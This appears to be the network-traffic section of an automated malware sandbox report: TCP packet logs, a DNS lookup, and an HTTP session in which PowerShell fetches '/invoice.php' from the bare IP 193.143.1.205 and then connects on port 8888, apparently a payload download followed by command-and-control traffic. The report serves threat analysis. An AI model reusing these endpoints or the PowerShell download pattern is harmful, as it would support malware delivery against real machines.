Jan 10, 2025 20:53:48.015239000 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015249014 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015259027 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015268087 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015280008 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015288115 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015320063 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015356064 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015367031 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015377045 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015388966 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015403986 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015408993 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015419006 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015431881 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015438080 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015454054 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015464067 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015480042 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015491962 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015505075 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015510082 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015521049 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.015531063 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.015561104 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.022322893 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046698093 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046719074 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046732903 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046751976 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046763897 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046773911 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046785116 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046803951 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046813965 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046813965 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046824932 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046840906 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046852112 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046859980 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046869993 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046881914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.046890974 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046916962 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.046997070 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047005892 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047017097 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047029972 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047039986 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.047049999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047070026 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.047089100 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047101021 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047115088 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047125101 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.047137022 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.047169924 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.070800066 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070811987 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070831060 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070842028 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070853949 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.070873022 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070883989 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070895910 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070904970 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.070923090 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.070931911 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070940018 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.070950031 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070960045 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070971966 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.070982933 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.070991993 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.071011066 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.071022034 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.071042061 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.071053028 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.071062088 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.071073055 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.071096897 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.074381113 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.083147049 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119481087 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119657993 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119677067 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119689941 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119708061 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119714975 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119729042 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119740009 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119750023 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119761944 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119774103 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119781971 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119801998 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119811058 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119820118 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119832993 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119842052 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119851112 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119863033 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119872093 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119883060 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119900942 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119909048 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119920969 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119932890 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119944096 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119952917 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.119962931 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119973898 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119985104 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.119993925 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120003939 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120021105 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120029926 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120044947 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120064020 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120074987 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120086908 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120096922 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120109081 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120115995 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120129108 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120140076 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120148897 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120160103 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120172024 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120182037 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120194912 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120203018 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120213032 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120229006 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120238066 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120248079 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120260000 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120270014 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120280027 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120292902 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120301962 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120326996 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120343924 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120352983 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120364904 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120376110 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120388985 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120399952 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120410919 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120420933 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120430946 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120441914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120452881 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120465040 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120481014 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120486975 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120501041 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120512962 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120529890 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120537043 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120556116 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120565891 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120577097 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120588064 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120599031 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120614052 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120620966 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120630980 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120640993 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120651007 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120661974 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120673895 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120682001 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120692015 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120702028 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120711088 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120723009 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120733023 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120743036 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120752096 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120760918 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120774031 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120785952 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120798111 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120805979 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120815992 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120826960 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120836973 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120847940 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120856047 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120867014 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120878935 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120886087 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120897055 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120908022 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120915890 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120927095 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120935917 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.120945930 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120959044 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.120982885 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.127253056 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.137448072 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137461901 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137475014 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137485981 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137499094 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137510061 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.137518883 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137531996 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137552023 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.137576103 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.137702942 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137715101 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137758970 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.137773991 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137794018 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137805939 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137816906 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137829065 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.137837887 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.137851000 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.161586046 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161601067 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161614895 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161652088 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.161675930 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.161684990 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161704063 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161716938 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161727905 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161741018 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161752939 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.161766052 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161772013 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.161782026 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161792994 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161804914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161815882 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161825895 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.161839962 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.161854029 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195346117 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195369005 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195383072 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195396900 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195405960 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195420980 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195426941 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195437908 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195451021 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195461988 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195477009 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195483923 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195496082 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195507050 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195516109 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195525885 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195534945 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195545912 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195557117 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195564032 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195576906 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.195601940 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.195621014 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.219482899 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.361351967 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.775460005 CET	49742	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.780303001 CET	8888	49742	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:48.780369997 CET	49742	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.780767918 CET	49742	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:48.785548925 CET	8888	49742	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:49.550671101 CET	8888	49742	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:49.601383924 CET	49742	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:51.279648066 CET	49742	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:53:57.158023119 CET	51298	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:53:57.158023119 CET	192.168.2.6	1.1.1.1	0xf716	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:53:57.166616917 CET	1.1.1.1	192.168.2.6	0xf716	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:53:57.852581024 CET	1.1.1.1	192.168.2.6	0x1437	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49731	193.143.1.205	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:53:46.628624916 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:53:47.482738972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:53:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] 